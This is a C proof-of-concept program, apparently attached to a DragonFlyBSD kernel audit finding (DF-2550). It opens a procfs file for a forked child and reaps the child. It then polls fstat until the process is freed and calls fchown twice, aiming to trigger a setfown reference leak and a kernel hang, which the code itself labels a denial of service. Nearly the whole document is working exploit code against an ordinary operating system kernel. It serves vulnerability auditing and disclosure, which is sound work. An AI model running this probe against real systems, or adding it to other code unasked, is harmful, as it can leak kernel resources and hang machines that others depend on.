DragonFlyBSD Kernel Audit
DF-2550 / probe_procfs2.c
← back to finding ↓ download raw
/* Probe: after reaping the child, loop fstat(fd) to detect when procfs
 * VOP_GETATTR starts returning ENOENT (proc freed). Then do fchown to
 * trigger the setfown leak. */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <errno.h>
#include <string.h>

int main(void) {
    char path[64];
    int pfd[2], fd = -1, rc, i;
    pid_t pid, w;
    struct stat st;

    setvbuf(stderr, NULL, _IONBF, 0);
    if (pipe(pfd) < 0) { perror("pipe"); return 2; }
    pid = fork();
    if (pid < 0) { perror("fork"); return 2; }
    if (pid == 0) { close(pfd[1]); char b; while(read(pfd[0],&b,1)<0&&errno==EINTR){} _exit(0); }
    close(pfd[0]);

    const char *tries[] = { "file", "mem", "cmdline", "etype", "map", NULL };
    for (i = 0; tries[i] && fd < 0; i++) {
        snprintf(path, sizeof(path), "/proc/%d/%s", (int)pid, tries[i]);
        fd = open(path, O_RDONLY);
    }
    if (fd < 0) { snprintf(path,sizeof(path),"/proc/%d",(int)pid); fd = open(path, O_RDONLY); }
    if (fd < 0) { fprintf(stderr,"open failed: %s\n", strerror(errno)); close(pfd[1]); waitpid(pid,NULL,0); return 2; }
    fprintf(stderr,"[probe] opened %s fd=%d\n", path, fd);

    close(pfd[1]);
    while ((w = waitpid(pid, NULL, 0)) < 0 && errno == EINTR) {}
    fprintf(stderr,"[probe] child %d reaped\n",(int)pid);

    /* poll fstat (=VOP_GETATTR) for up to 5s to catch ENOENT */
    for (i = 0; i < 50; i++) {
        errno = 0;
        rc = fstat(fd, &st);
        fprintf(stderr,"[probe] t+%4.1fs fstat rc=%d errno=%d (%s)\n",
                i*0.1, rc, errno, rc?strerror(errno):"ok");
        if (rc < 0) break;   /* getattr now failing */
        usleep(100000);
    }

    if (rc == 0) {
        fprintf(stderr,"[probe] getattr never failed; bug not triggerable via this procfs vnode\n");
        return 3;
    }
    fprintf(stderr,"[probe] getattr now FAILS -> attempting fchown to trigger setfown leak\n");
    errno = 0; rc = fchown(fd, -1, -1);
    fprintf(stderr,"[probe] fchown#1 rc=%d errno=%d (%s) <- LEAK if rc<0\n", rc, errno, rc?strerror(errno):"ok");
    fprintf(stderr,"[probe] fchown#2 -> expect HANG (DoS)\n");
    errno = 0; rc = fchown(fd, -1, -1);
    fprintf(stderr,"[probe] fchown#2 rc=%d errno=%d (%s) -- RETURNED\n", rc, errno, rc?strerror(errno):"ok");
    return 0;
}